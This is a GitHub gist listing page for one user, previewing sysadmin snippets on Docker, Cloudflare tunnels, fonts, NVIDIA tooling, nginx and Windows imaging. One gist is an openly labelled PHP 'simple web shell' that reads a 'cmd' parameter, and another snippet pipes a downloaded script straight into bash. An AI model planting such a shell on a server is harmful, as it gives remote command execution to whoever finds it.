Skip to content

Instantly share code, notes, and snippets.

@hunzo
hunzo / compose.yaml
Created January 20, 2026 02:35
cloudflare tunnel example
services:
cloudflared:
image: cloudflare/cloudflared:latest
container_name: cloudflared
restart: unless-stopped
command: tunnel --no-autoupdate run
environment:
- TUNNEL_TOKEN=YOUR_CLOUDFLARE_TOKEN
network_mode: host
@hunzo
hunzo / README.md
Last active January 21, 2026 04:24
Create Win11 Golden Images

Create windows11-template golden images

Disable Bitlocker

manage-bde -status C:
manage-bde -off C:
  • Check Bitlocker Status Conversion Status: Fully Decrypted
#!/bin/bash
# install list
# - Golang
# - Python
# - Python-venv
# - Node Version Manager (nvm)
GO_VERSION=go1.25.1
NVIM_VERSION=v0.11.5
NVIM_FILE_NAME=nvim-linux-x86_64
@hunzo
hunzo / readme.md
Created December 11, 2025 07:45
export .env

Export .env

set -a
source .env
set +a
#!/bin/bash
sudo pacman -S nvidia-container-toolkit
sudo nvidia-ctk runtime configure --runtime=docker
sudo systemctl restart docker
# docker run --rm --runtime=nvidia --gpus "device=0" ubuntu nvidia-smi
# docker run --rm --runtime=nvidia --gpus all ubuntu nvidia-smi
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
<!-- บังคับภาษาไทยทั้งหมดให้ใช้ Noto Sans Thai -->
<match target="pattern">
<test name="lang" compare="contains">
<string>th</string>
</test>
<edit name="family" mode="assign_replace" binding="strong">
@hunzo
hunzo / index.php
Created November 25, 2025 03:32
simple web shell
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@hunzo
hunzo / install-noto-fonts.sh
Created November 24, 2025 03:07
Noto Fonts
#!/bin/bash
sudo apt install -y fonts-noto
sudo apt install -y fonts-noto-cjk
sudo apt install -y fonts-noto-cjk-extra
sudo apt install -y fonts-noto-color-emoji
sudo apt install -y fonts-noto-core
sudo apt install -y fonts-noto-extra
sudo apt install -y fonts-noto-hinted
sudo apt install -y fonts-noto-mono
sudo apt install -y fonts-noto-ui-core

Installing the NVIDIA Container Toolkit

Install Docker

curl -sL https://gist.github.com/hunzo/1c4836ad4aab99bdb31ce9a5b3c09e44#file-install-docker-sh | bash

Install the prerequisites

@hunzo
hunzo / default.conf
Created October 24, 2025 07:36
nginx simple apikey
server {
listen 80;
server_name localhost;
location / {
default_type application/json;
if ($http_x_api_key = "") {
return 403 '{"error": "missing api key"}';
}